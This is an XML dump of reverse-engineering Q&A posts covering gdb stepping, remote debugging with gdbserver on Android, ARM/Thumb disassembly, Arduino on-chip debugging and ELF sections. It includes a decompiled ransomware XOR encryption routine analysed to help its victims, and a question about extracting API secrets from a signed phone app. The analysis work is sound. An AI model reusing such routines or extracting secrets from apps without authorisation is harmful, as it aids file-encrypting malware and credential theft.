CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4218" PostTypeId="2" ParentId="4217" CreationDate="2014-04-30T18:21:38.950" Score="3" Body="&lt;p&gt;I suppose you should check &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dai0179b/ar01s02s07.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; part of the &lt;code&gt;ARM&lt;/code&gt; documentation, and &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0489c/Cihidabi.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; description of &lt;code&gt;svc&lt;/code&gt; and its parameters. By cross referencing the two links you'll find an answer to your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the links above you'll be able to understand what the parameter of the &lt;code&gt;svc&lt;/code&gt; instruction represents. It is supposed to be ignored by the &lt;code&gt;CPU&lt;/code&gt; but the exception handler can use that parameter to determine the service being requested : &lt;code&gt;ARM&lt;/code&gt; instruction if the value is between 0 &amp;amp; 16777215, or &lt;code&gt;Thumb&lt;/code&gt; instruction if the value is between 0 &amp;amp; 255.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thumb instruction set is a compact 16bit encoding for ARM instructions. It was mainly designed &amp;amp; implemented for compact code-density. You can check the &lt;a href=&quot;https://en.wikipedia.org/wiki/ARM_Thumb#Thumb&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt; page about the &lt;code&gt;ARM&lt;/code&gt; architecture for more information, but I would recommend you going through the &lt;code&gt;ARM&lt;/code&gt; documentation for accurate technical details.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-05-02T11:23:39.483" LastActivityDate="2014-05-02T11:23:39.483" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4219" PostTypeId="1" AcceptedAnswerId="4220" CreationDate="2014-04-30T18:22:47.713" Score="11" ViewCount="13447" Body="&lt;p&gt;I am using EDB and stepping through the program but I do not even know what the difference in behavior is when doing this.  I feel like this is something I should know if I ever have hope of reverse engineering this program.&lt;/p&gt;&#xA;" OwnerDisplayName="user4466" LastEditorDisplayName="user4466" LastEditDate="2014-04-30T19:51:30.960" LastActivityDate="2021-03-03T14:15:57.593" Title="What is the difference between step into and step over when debugging?" Tags="|ida|disassembly|debuggers|gdb|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4220" PostTypeId="2" ParentId="4219" CreationDate="2014-04-30T19:28:15.173" Score="11" Body="&lt;p&gt;The &lt;code&gt;gdb&lt;/code&gt; terms (and commands) are &lt;code&gt;step&lt;/code&gt; and &lt;code&gt;next&lt;/code&gt; and the difference is that &lt;code&gt;step&lt;/code&gt; continues to run until it changes line of source code, while &lt;code&gt;next&lt;/code&gt; doesn't trace into a subroutine, but rather skips over it. The &lt;code&gt;stepi&lt;/code&gt; and &lt;code&gt;nexti&lt;/code&gt; commands are similar but operate at the machine instruction level rather than source code level. Read more in &lt;a href=&quot;https://sourceware.org/gdb/current/onlinedocs/gdb/Continuing-and-Stepping.html#Continuing-and-Stepping&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Fine Manual&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Here's an example that may help clarify.  Let's say you have a simple project with three simple files:&lt;/p&gt;&#xA;&lt;h2&gt;main.c&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;quot;squareit.h&amp;quot;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main(void) {&#xA;    int x = 5;&#xA;    printf(&amp;quot;%d squared is %d\n&amp;quot;, x, squareit(x));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;squareit.h&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;#ifndef SQUAREIT_H&#xA;#define SQUAREIT_H&#xA;// return the square of an integer&#xA;int squareit(int x);&#xA;#endif // SQUAREIT_H&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;squareit.c&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;quot;squareit.h&amp;quot;&#xA;&#xA;int squareit(int x) {&#xA;    return x*x;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We compile the program with debugging flags enabled (&lt;code&gt;gcc -g main.c squareit.c -o simple&lt;/code&gt;) and then run &lt;code&gt;gdb simple&lt;/code&gt;.  If we are sitting on the &lt;code&gt;printf&lt;/code&gt; line and execute &lt;code&gt;step&lt;/code&gt;, we will find ourselves in the &lt;code&gt;squareit()&lt;/code&gt; function.  If instead at that same point we execute &lt;code&gt;next&lt;/code&gt;, the &lt;code&gt;squareit()&lt;/code&gt; function and the &lt;code&gt;printf()&lt;/code&gt; functions will both execute and we will find ourselves on the last line of &lt;code&gt;main()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The session follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) b main&#xA;Breakpoint 1 at 0x40113d: file ./main.c, line 5.&#xA;(gdb) run&#xA;Starting program: ./simple &#xA;&#xA;Breakpoint 1, main () at ./main.c:5&#xA;5       int x = 5;&#xA;(gdb) step&#xA;6       printf(&amp;quot;%d squared is %d\n&amp;quot;, x, squareit(x));&#xA;(gdb) s&#xA;squareit (x=5) at ./squareit.c:4&#xA;4       return x*x;&#xA;(gdb) s&#xA;5   }&#xA;(gdb) s&#xA;5 squared is 25&#xA;main () at ./main.c:7&#xA;7   }&#xA;(gdb) r&#xA;The program being debugged has been started already.&#xA;Start it from the beginning? (y or n) y&#xA;Starting program: ./simple &#xA;&#xA;Breakpoint 1, main () at ./main.c:5&#xA;5       int x = 5;&#xA;(gdb) s&#xA;6       printf(&amp;quot;%d squared is %d\n&amp;quot;, x, squareit(x));&#xA;(gdb) next&#xA;5 squared is 25&#xA;7   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;gdb&lt;/code&gt; commands used here are &lt;code&gt;b&lt;/code&gt; to set a breakpoint, &lt;code&gt;s&lt;/code&gt; which is an alias of &lt;code&gt;step&lt;/code&gt;, &lt;code&gt;next&lt;/code&gt; (has an alias of &lt;code&gt;n&lt;/code&gt;) and &lt;code&gt;run&lt;/code&gt; (has an alias of &lt;code&gt;r&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="3557" LastEditorUserId="3557" LastEditDate="2021-03-03T14:15:57.593" LastActivityDate="2021-03-03T14:15:57.593" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4221" PostTypeId="2" ParentId="4216" CreationDate="2014-04-30T21:18:14.157" Score="4" Body="&lt;p&gt;I've been doing the same/similar stuff recently, and while you can get it to work, it's not that easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It helps if you have a rooted android device, a terminal emulator to run gdbserver, and, if possible, a terminal emulator that can open more than one window, so you kan kill the gdbserver from the second window if it hangs up. Also, a real keyboard on the android device helps, as it's much easier to repeat commands when you have real cursor keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't need to connect your Droid to your mac using an USB cable. I started gdbserver like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdbserver --attach 0.0.0.0:8765 2338&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(where 2338 is the pid of my target application), then used&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ arm-none-eabi-gdb&#xA;target remote 192.168.178.103:8765&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to connect. 192.168.178.103 is the IP address of my android device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't want to install the complete NDK on my machine, so i downloaded the ARM GDB from &lt;a href=&quot;https://launchpad.net/gcc-arm-embedded/+download&quot; rel=&quot;nofollow&quot;&gt;https://launchpad.net/gcc-arm-embedded/+download&lt;/a&gt;, they have windows, linux and mac versions. The NDK GDB should probably work as well, of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add the &quot;IDA Address&quot; of the function to the Map address. For example, in my library:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The two functions i was interested in had &quot;IDA addresses&quot; BA584 and BA99C.&lt;/li&gt;&#xA;&lt;li&gt;The address in /proc/maps said 688D0000 as base address of the executable segment.&lt;/li&gt;&#xA;&lt;li&gt;The real function addresses were 6898A584/6898A99C, which is base address + &quot;IDA address&quot; in both cases.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are two things to consider when you check you really found the correct address:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You can't use the gdb disassemble command as it relies on functions and symbols. Use the x/i command to disassemble. For example, in my case, x/20i 0x6898A584 to see the 20 instructions at this address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The arm has two different modes, Thumb mode and ARM mode. If gdb has no symbols, it might choose the wrong one when disassembling, making your GDB disassembly not resemble the IDA disassembly at all. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;set arm force-mode arm&lt;/code&gt; and &lt;code&gt;set arm force-mode thumb&lt;/code&gt; to try both. For example, this is what IDA told me about my BA584 function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:000BA584&#xA;.text:000BA584 sub_BA584                               ; CODE XREF: sub_BF1C4+3Ap&#xA;...&#xA;.text:000BA584                 PUSH.W          {R4-R11,LR}&#xA;.text:000BA588                 MOV             R6, R0&#xA;.text:000BA58A                 SUB             SP, SP, #0x1C&#xA;.text:000BA58C                 LDR             R0, [R0,#0x18]&#xA;.text:000BA58E                 MOV             R4, R1&#xA;.text:000BA590                 STR             R2, [SP,#0x40+var_34]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is what gdb made of it first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/20i 0x6890F584&#xA; 0x6890f584:  svcmi   0x00f0e92d&#xA; 0x6890f588:  addlt   r4, r7, r6, lsl #12&#xA; 0x6890f58c:  strmi   r6, [r12], -r0, lsl #19&#xA; 0x6890f590:  stmdacs r0, {r0, r1, r9, r12, pc}&#xA; 0x6890f594:  bichi   pc, r10, r0&#xA; 0x6890f598:  mlapl   r12, r6, r8, pc ; &amp;lt;UNPREDICTABLE&amp;gt;&#xA; 0x6890f59c:                  ; &amp;lt;UNDEFINED&amp;gt; instruction: 0xf0402d00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) set arm force-mode thumb&#xA;(gdb) x/20i 0x6890F584&#xA; 0x6890f584:  stmdb   sp!, {r4, r5, r6, r7, r8, r9, r10, r11, lr}&#xA; 0x6890f588:  mov     r6, r0&#xA; 0x6890f58a:  sub     sp, #28&#xA; 0x6890f58c:  ldr     r0, [r0, #24]&#xA; 0x6890f58e:  mov     r4, r1&#xA; 0x6890f590:  str     r2, [sp, #12]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So don't give up if the disassembly looks weird, try forcing thumb / arm mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My application crashed various times when i was debugging it, which made gdbserver lose sync with gdb, resulting in lots of &quot;Ignoring packet error&quot; messages from gdb. Killing gdbserver (thus the 2nd window), restarting the application, and reconnecting gdb seemed to be the only remedy in these cases. When you restart the application, make sure you re-check /proc/..../maps for the .so base address, it stays the same most of the time but changes sometimes, especially when there's some time between invocations. You'll notice my address (0x6890F584) in the above example does not match the one i told you earlier, this is because in the example, the map base address had changed to 68855000.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-04-30T21:18:14.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4222" PostTypeId="1" CreationDate="2014-04-30T21:47:46.720" Score="10" ViewCount="422" Body="&lt;p&gt;Okay, so I've got an Arduino which has a sketch flashed to it (that I do not have source code for) which I'd like to reverse-engineer, and I've successfully dumped the flash and disassembled part of it. I would like to be able to use a device like the Atmel mkII to single-step my Arduino, but I'm not having much luck figuring out the menu options for doing on-chip debugging using the mkII and Atmel Studio 6. Is this possible using Atmel Studio 6 and the mkII? Is there some other way to single-step an Arduino for which you don't have the original source code? &lt;/p&gt;&#xA;" OwnerUserId="118" LastEditorUserId="4687" LastEditDate="2014-05-21T06:10:36.540" LastActivityDate="2014-06-01T20:49:29.700" Title="Breaking in and debugging an unknown Arduino program" Tags="|hardware|jtag|atmel|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4224" PostTypeId="1" CreationDate="2014-05-01T04:22:18.623" Score="0" ViewCount="129" Body="&lt;p&gt;I have a really big question... It will be pretty straightforward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First the problem:&#xA;I attend a class for programming, and my teacher one day brought in a usb cannon bearing a close resemblance to this &lt;a href=&quot;http://www.thinkgeek.com/product/8a0f/#tabs&quot; rel=&quot;nofollow&quot;&gt;http://www.thinkgeek.com/product/8a0f/#tabs&lt;/a&gt; . He said that if we can make it fire, he will award me .5 bit coins, and I'm still in High school, and a fairly new programmer at that. I only know the basics of C#, and I'm not that far into the total world of programming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what I need:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I was wondering how I will make it fire?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to know how to access the cannon through USB (What programs to use),&#xA;how will I program it ( or interact with it. Not sure if I program it to fire, because it already has the firmware in the cannon, but I need to know how to activate it), and I overall need to know how to overcome this challenge, even though I am a newer person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first, I looked at this as a way to get a few quick dollars, but now I'm seriously interested. It's a challenge, and it's really fun to try to find out how to do it. However, I don't know where to go from here. I researched to the best of my ability, and tried to understand how chips work, and even how USB's work. I still have yet to find a way to do this though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you help me by providing me the basics of how to program/initiate the codes; tell me what software I will need, how I will communicate with the firmware, and try to make this thing fire?&lt;/p&gt;&#xA;" OwnerUserId="4507" LastActivityDate="2014-07-01T05:55:18.587" Title="Need help with how I am going to make a usb microprocessor work" Tags="|assembly|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4225" PostTypeId="2" ParentId="4224" CreationDate="2014-05-01T10:35:59.740" Score="3" Body="&lt;p&gt;You can use existing libraries in many languages. For example, many open-source projects are available on these sites :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;C#&lt;/code&gt; : &lt;a href=&quot;https://code.google.com/p/thunder-missile-api/&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/p/thunder-missile-api/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Python&lt;/code&gt; : &lt;a href=&quot;http://www.rkblog.rk.edu.pl/w/p/controlling-usb-missile-launchers-python/&quot; rel=&quot;nofollow&quot;&gt;http://www.rkblog.rk.edu.pl/w/p/controlling-usb-missile-launchers-python/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Enjoy!&lt;/p&gt;&#xA;" OwnerUserId="4509" LastEditorUserId="225" LastEditDate="2014-05-02T05:16:39.613" LastActivityDate="2014-05-02T05:16:39.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4226" PostTypeId="1" AcceptedAnswerId="4228" CreationDate="2014-04-27T20:16:34.257" Score="4" ViewCount="2060" Body="&lt;p&gt;I have been battling this infection I got that encrypts my files in 512 byte chunks with a friend. We have managed to find the Decryption function we think in IDA (the code is &lt;em&gt;heavily&lt;/em&gt; obfuscated) from a user who paid for the decrypter. Below is the C dump of the encryption function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __stdcall sub_40C78E(int a1, int a2, int a3, int a4)&#xA;{&#xA;  int result;&#xA;  char v5; &#xA;  int v6; &#xA;  int v7; &#xA;  int v8; &#xA;&#xA;  v7 = a1;&#xA;  v6 = a2;&#xA;  v5 = 0;&#xA;  result = 0;&#xA;  if ( a2 )&#xA;  {&#xA;    v8 = a3;&#xA;    do&#xA;    {&#xA;      LOBYTE(v8) = v5 + v8;&#xA;      *(_BYTE *)v7 ^= v8;&#xA;      v5 = *(_BYTE *)v7++;&#xA;      v8 = __ROL__(a4 + v8, 8);&#xA;      --v6;&#xA;    }&#xA;    while ( v6 );&#xA;    result = v8;&#xA;  }&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My friend tried to simplify it or make sense of it and this is what he came up with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __stdcall sub_40C78E((_BYTE *)buffer, int nonce1, int nonce2)&#xA;{&#xA;  char v5; &#xA;  int n; &#xA;  int v8; &#xA;&#xA;  n = 0x400;    // It is a little bit confusing, because the length of block is 0x200 (rest of buffer is filled by 0).&#xA;                        // Only first 0x200 bytes are saved to a file for block CT0A.&#xA;  v5 = 0;&#xA;  v8 = nonce1;&#xA;&#xA;  do&#xA;  {&#xA;      LOBYTE(v8) = v5 + LOBYTE(v8);&#xA;      *buffer ^= LOBYTE(v8);&#xA;      v5 = *buffer;&#xA;      buffer++;&#xA;      v8 = __ROL__(nonce2 + v8, 8);&#xA;      --n;&#xA;  }&#xA;  while ( n );&#xA;&#xA;return v8;       &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where nonce1 and nonce2 is suppose to represent some kind of key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we have found with this infection is that if you XOR the first byte of the cipher text with the plain text, you get a key byte you can use to get the first byte of every file back. Which makes sense with this function because the first time in the loop the key is added to 0, which means it is simply the key. But then this guy used some type of weird CFB type xor encryption where it uses the previous xor'ed byte with the key next.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just don't quite understand the function and I was hoping somewhere here could perhaps simplify it more for me or explain it. I also know C#, and VB if anyone would know how to explain the function in these languages.&lt;/p&gt;&#xA;" OwnerUserId="4520" OwnerDisplayName="user3546043" LastActivityDate="2014-05-01T20:34:26.040" Title="IDA Pro C dump for Decryption function" Tags="|c|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4227" PostTypeId="1" CreationDate="2014-05-01T19:21:34.697" Score="1" ViewCount="62" Body="&lt;p&gt;I know this is a controversial question... but before you answer, keep in mind that this is both legal and there are scenarios where this is needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In our case we want to decompile an app, so we can look at some secrets that we need to call a public API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have is that I'm not even able to get access to the .XAP file. It can be downloaded from the Windows Phone store, but it's signed, and I guess it requires a Jailbreaked WP to get access to the file system on the phone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So maybe the question should be &quot;How do reverse engineer a signed Windows Phone App?&quot;&lt;/p&gt;&#xA;" OwnerUserId="4513" LastEditorUserId="4513" LastEditDate="2014-05-02T09:20:02.600" LastActivityDate="2014-05-02T09:20:02.600" Title="How can you reverse engineer a Windows Phone App?" Tags="|windowsphone|" AnswerCount="0" CommentCount="3" ClosedDate="2014-05-03T00:12:29.390" ContentLicense="CC BY-SA 3.0" />
  <row Id="4228" PostTypeId="2" ParentId="4226" CreationDate="2014-05-01T20:34:26.040" Score="6" Body="&lt;p&gt;As you expected, it's doing a very simple XOR.  The equivalent code looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int mystery(char *buff, int bufsize, int nonce1, int nonce2)&#xA;{&#xA;  int result = 0;&#xA;  // ch is the next byte (character) in the buffer&#xA;  char ch = 0; &#xA;  int count = bufsize; &#xA;  char *ptr = buff; &#xA;  int x;&#xA;&#xA;  for (x = nonce1; count; --count)&#xA;  {&#xA;      // this bit of trickery just replaces the low 8 bits&#xA;      // of x with the low 8 bits of (x+ch) neglecting carry, if any&#xA;      x = (x &amp;amp; ~0xff) | ((x+ch) &amp;amp; 0xff);&#xA;      // XOR the buffer with the calculated x value&#xA;      *ptr ^= x;&#xA;      // read in the next character into ch&#xA;      ch = *ptr++;&#xA;      // obfuscate by adding nonce2 &#xA;      x += nonce2;&#xA;      // if x = 0x12345678, this would make it 0x34567812&#xA;      // for 32-bit ints.  Just a rotate left of 8 bits.&#xA;      x = (x&amp;lt;&amp;lt;8) | ((x &amp;gt;&amp;gt;((sizeof(int)-1)*8) ) &amp;amp; 0xff);  &#xA;  }&#xA;  result = x;&#xA;  // return the last calculated x which may be used to chain all&#xA;  // of the blocks together.  That is, the return value x is &#xA;  // probably passed as nonce1 to encode the next block.&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2014-05-01T20:34:26.040" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4229" PostTypeId="2" ParentId="4065" CreationDate="2014-05-01T21:47:54.843" Score="2" Body="&lt;p&gt;Well, after spending lots of time in NVIDIA's documentation, and the recent update to 6.0, they added the ability for their program &lt;code&gt;cuobjdump&lt;/code&gt; to extract *.cubin files from any given target executable.  So you can extract *.cubin files from PE or ELF files like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\ProgramData\NVIDIA Corporation\CUDA Samples\v6.0\Bin\win32\Debug&amp;gt;cuobjdump -xelf all simpleAtomicIntrinsics.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then use &lt;code&gt;nvdisasm&lt;/code&gt; on your target *.cubin file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\ProgramData\NVIDIA Corporation\CUDA Samples\v6.0\Bin\win32\Debug&amp;gt;nvdisasm NVIDIA-CUDA-simpleAtomicIntrinsics.sm_50.cubin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Oh, by the way, &lt;code&gt;nvdisasm&lt;/code&gt; does actually use control-flow disassembly.  &lt;code&gt;cuobjdump&lt;/code&gt; uses linear.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By playing with the provided tools you can extract opcodes, but unfortunately there's snakey instructions like &lt;code&gt;S2R&lt;/code&gt; which according to NVIDIA's &lt;a href=&quot;http://docs.nvidia.com/cuda/cuda-binary-utilities/index.html#fermi&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; does this:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;S2R    Special Register to Register&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With no documentation I've seen yet as to what the special registers even ARE on this architecture.  The best documentation on this so far is &lt;a href=&quot;https://code.google.com/p/asfermi/wiki/FAQ&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4053" LastActivityDate="2014-05-01T21:47:54.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4230" PostTypeId="1" AcceptedAnswerId="4231" CreationDate="2014-05-01T21:50:42.797" Score="12" ViewCount="14043" Body="&lt;p&gt;Test is on Linux 32bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use this command to get the context of &lt;code&gt;.text&lt;/code&gt; &lt;code&gt;.rodata&lt;/code&gt; and &lt;code&gt;.data&lt;/code&gt; section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -s -j .text elf_binary&#xA;objdump -s -j .rodata elf_binary&#xA;objdump -s -j .data elf_binary&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But basically when I tried to use this to get the content of &lt;code&gt;.bss&lt;/code&gt; section, I always get the error shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -s -j .bss elf_binary&#xA;&#xA;objdump: section '.bss' mentioned in a -j option, but not found in any input file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically how can I get the content of &lt;code&gt;.bss&lt;/code&gt; section from ELF binary?&lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2014-05-02T12:58:13.383" Title="Why I can not directly get the content of `.bss` section?" Tags="|disassembly|binary-analysis|elf|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4231" PostTypeId="2" ParentId="4230" CreationDate="2014-05-01T22:03:48.697" Score="21" Body="&lt;p&gt;The &lt;code&gt;.bss&lt;/code&gt; has no content. It's simply a tip to the loader to preallocate some space when starting the program. It will be all 0s at the execution and won't hold any useful information until the program writes to it. After that, you can use a debugger to dump the memory and explore its content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the Wikipedia &lt;a href=&quot;http://en.wikipedia.org/wiki/.bss&quot;&gt;page&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="4515" LastEditorUserId="4437" LastEditDate="2014-05-02T12:56:43.683" LastActivityDate="2014-05-02T12:56:43.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4232" PostTypeId="2" ParentId="4230" CreationDate="2014-05-02T11:44:07.197" Score="6" Body="&lt;p&gt;The &lt;code&gt;.bss&lt;/code&gt; &lt;em&gt;block started by symbol&lt;/em&gt; (also called Uninitialized data segment - &lt;code&gt;bss&lt;/code&gt; is an old assembly instruction on an ancient IBM chip) section is supposed to contain &lt;code&gt;global variables&lt;/code&gt; and &lt;code&gt;static variables&lt;/code&gt; uninitialized or initialized to 0 or NULL. The &lt;code&gt;.bss&lt;/code&gt; section is usually non existing until your program starts executing, this is why you can't retrieve its content statically. It is fairly important to note that this section helps reduce the program's size &amp;amp; makes it quicker to load. &lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-05-02T12:58:13.383" LastActivityDate="2014-05-02T12:58:13.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4233" PostTypeId="5" CreationDate="2014-05-02T12:57:09.283" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-05-02T12:57:09.283" LastActivityDate="2014-05-02T12:57:09.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4234" PostTypeId="4" CreationDate="2014-05-02T12:57:09.283" Score="0" Body="Scalable Processor ARChitecture is a RISC ISA designed by Sun Microsystems in the late 1980s. The initial design was 32-bits but was lately extended to handle 64-bits operations." OwnerUserId="4437" LastEditorUserId="53" LastEditDate="2014-05-02T13:01:02.043" LastActivityDate="2014-05-02T13:01:02.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4235" PostTypeId="5" CreationDate="2014-05-02T13:03:10.443" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-05-02T13:03:10.443" LastActivityDate="2014-05-02T13:03:10.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4236" PostTypeId="4" CreationDate="2014-05-02T13:03:10.443" Score="0" Body="A US based company founded in 1984 which manufactures semiconductors. Their major products are AVRs, flash memories, Wi-Fi devices, EEPROM memories, FPGAs, ..." OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-05-02T19:57:46.700" LastActivityDate="2014-05-02T19:57:46.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4238" PostTypeId="1" AcceptedAnswerId="4239" CreationDate="2014-05-02T18:05:36.500" Score="3" ViewCount="1147" Body="&lt;p&gt;I have got a file which contains other files. I know where the subfiles start (&lt;code&gt;header&lt;/code&gt;) but how do I know where the subfiles end ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Files are like: &lt;em&gt;sound files (.wav)&lt;/em&gt; and &lt;em&gt;images (.bmp, png, jpeg)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;file1&#xA;file2&#xA;data&#xA;file3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I know where &lt;code&gt;file2&lt;/code&gt; starts and &lt;code&gt;file2&lt;/code&gt; ends ?&lt;/p&gt;&#xA;" OwnerUserId="4523" LastEditorUserId="3041" LastEditDate="2015-07-15T15:56:43.133" LastActivityDate="2015-07-16T01:35:59.283" Title="Finding end of file" Tags="|binary-analysis|file-format|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
